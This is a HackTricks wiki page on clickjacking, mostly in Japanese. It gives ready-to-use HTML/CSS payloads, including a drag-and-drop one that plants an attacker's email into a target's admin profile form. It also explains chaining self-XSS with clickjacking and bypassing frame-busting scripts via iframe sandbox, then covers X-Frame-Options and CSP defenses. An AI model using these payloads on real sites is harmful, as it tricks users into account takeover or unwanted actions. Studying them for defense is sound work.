Clickjacking

Support HackTricks

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:

What is Clickjacking

クリックジャッキング攻撃では、ユーザー見えないか、別の要素に偽装された要素をウェブページ上でクリックするように騙されます。この操作は、ユーザーにとって意図しない結果を引き起こす可能性があり、マルウェアのダウンロード、悪意のあるウェブページへのリダイレクト、資格情報や機密情報の提供、金銭の移動、または製品のオンライン購入などが含まれます。

Prepopulate forms trick

時には、ページを読み込む際にGETパラメータを使用してフォームのフィールドの値を埋めることが可能です。攻撃者はこの動作を悪用して、任意のデータでフォームを埋め、ユーザーが送信ボタンを押すようにクリックジャッキングペイロードを送信することができます。

Populate form with Drag&Drop

ユーザーにフォームを埋めてもらいたいが、特定の情報(知っているメールアドレスや特定のパスワードなど)を直接書くように頼みたくない場合、ユーザーにDrag&Dropしてもらうように頼むことができます。これにより、あなたが制御するデータが書き込まれます。これはこの例のように行えます。

Basic Payload

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

マルチステップペイロード

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

ドラッグ&ドロップ + クリックペイロード

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

もしあなたがユーザーがクリックする必要があるXSS攻撃を特定し、そのページがクリックジャッキングに脆弱であれば、ユーザーをボタン/リンクをクリックさせるためにそれを悪用することができます。 例: あなたはアカウントのいくつかのプライベートな詳細に自己XSSを見つけました(あなたしか設定や読み取りができない詳細)。これらの詳細を設定するためのフォームクリックジャッキングに脆弱であり、GETパラメータでフォーム事前入力することができます。 __攻撃者は、そのページに対してクリックジャッキング攻撃を準備し、XSSペイロードフォーム事前入力し、ユーザーフォームを送信させるように騙すことができます。したがって、フォームが送信されると、値が変更され、ユーザーはXSSを実行することになります

Clickjackingを軽減するための戦略

クライアントサイドの防御

クライアントサイドで実行されるスクリプトは、クリックジャッキングを防ぐためのアクションを実行できます:

  • アプリケーションウィンドウがメインまたはトップウィンドウであることを確認する。

  • すべてのフレームを表示可能にする。

  • 見えないフレームへのクリックを防ぐ。

  • 潜在的なクリックジャッキングの試みを検出し、ユーザーに警告する。

しかし、これらのフレームバスティングスクリプトは回避される可能性があります:

  • ブラウザのセキュリティ設定: 一部のブラウザは、セキュリティ設定やJavaScriptサポートの欠如に基づいてこれらのスクリプトをブロックする場合があります。

  • HTML5 iframe sandbox属性: 攻撃者は、allow-formsまたはallow-scriptsの値を持つsandbox属性を設定することでフレームバスタースクリプトを無効化できますが、allow-top-navigationは含まれていません。これにより、iframeが自分がトップウィンドウであるかどうかを確認できなくなります。

<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>

The allow-formsallow-scripts の値は、iframe内でのアクションを有効にし、トップレベルのナビゲーションを無効にします。ターゲットサイトの意図した機能を確保するために、攻撃の種類に応じて allow-same-originallow-modals などの追加の権限が必要になる場合があります。ブラウザのコンソールメッセージは、どの権限を許可するかの指針となります。

サーバーサイドの防御

X-Frame-Options

X-Frame-Options HTTPレスポンスヘッダーは、ブラウザにページを <frame> または <iframe> でレンダリングする正当性について通知し、Clickjackingを防ぐのに役立ちます:

  • X-Frame-Options: deny - どのドメインもコンテンツをフレーム化できません。

  • X-Frame-Options: sameorigin - 現在のサイトのみがコンテンツをフレーム化できます。

  • X-Frame-Options: allow-from https://trusted.com - 指定された 'uri' のみがページをフレーム化できます。

  • 制限に注意してください:ブラウザがこのディレクティブをサポートしていない場合、機能しない可能性があります。一部のブラウザはCSPのframe-ancestorsディレクティブを優先します。

Content Security Policy (CSP) frame-ancestorsディレクティブ

CSPのframe-ancestorsディレクティブは、Clickjacking保護のための推奨方法です:

  • frame-ancestors 'none' - X-Frame-Options: deny と同様です。

  • frame-ancestors 'self' - X-Frame-Options: sameorigin と同様です。

  • frame-ancestors trusted.com - X-Frame-Options: allow-from と同様です。

例えば、以下のCSPは同じドメインからのフレーミングのみを許可します:

Content-Security-Policy: frame-ancestors 'self';

さらなる詳細や複雑な例については、frame-ancestors CSPドキュメントMozillaのCSP frame-ancestorsドキュメントを参照してください。

child-srcframe-src を使用したContent Security Policy (CSP)

**Content Security Policy (CSP)**は、ブラウザがコンテンツを読み込むことを許可すべきソースを指定することによって、Clickjackingやその他のコードインジェクション攻撃を防ぐためのセキュリティ対策です。

frame-srcディレクティブ

  • フレームの有効なソースを定義します。

  • default-srcディレクティブよりも具体的です。

Content-Security-Policy: frame-src 'self' https://trusted-website.com;

このポリシーは、同じオリジン(self)および https://trusted-website.com からのフレームを許可します。

child-src ディレクティブ

  • ウェブワーカーとフレームの有効なソースを設定するためにCSPレベル2で導入されました。

  • frame-srcおよびworker-srcのフォールバックとして機能します。

Content-Security-Policy: child-src 'self' https://trusted-website.com;

このポリシーは、同じオリジン(self)および https://trusted-website.com からのフレームとワーカーを許可します。

使用上の注意:

  • 非推奨: child-src は frame-src と worker-src に置き換えられています。

  • フォールバック動作: frame-src が存在しない場合、child-src がフレームのフォールバックとして使用されます。両方が存在しない場合は、default-src が使用されます。

  • 厳格なソース定義: 悪用を防ぐために、指示に信頼できるソースのみを含めてください。

JavaScript フレームブレイキングスクリプト

完全に確実ではありませんが、JavaScript ベースのフレームバスティングスクリプトを使用して、ウェブページがフレームにされるのを防ぐことができます。例:

if (top !== self) {
top.location = self.location;
}

Anti-CSRFトークンの使用

  • トークン検証: ウェブアプリケーションでanti-CSRFトークンを使用して、状態を変更するリクエストがユーザーによって意図的に行われていることを確認し、Clickjackedページを通じて行われていないことを保証します。

参考文献

Trickestを使用して、世界で最も高度なコミュニティツールによって駆動されるワークフローを簡単に構築し、自動化します。 今すぐアクセスを取得:

HackTricksをサポートする

Last updated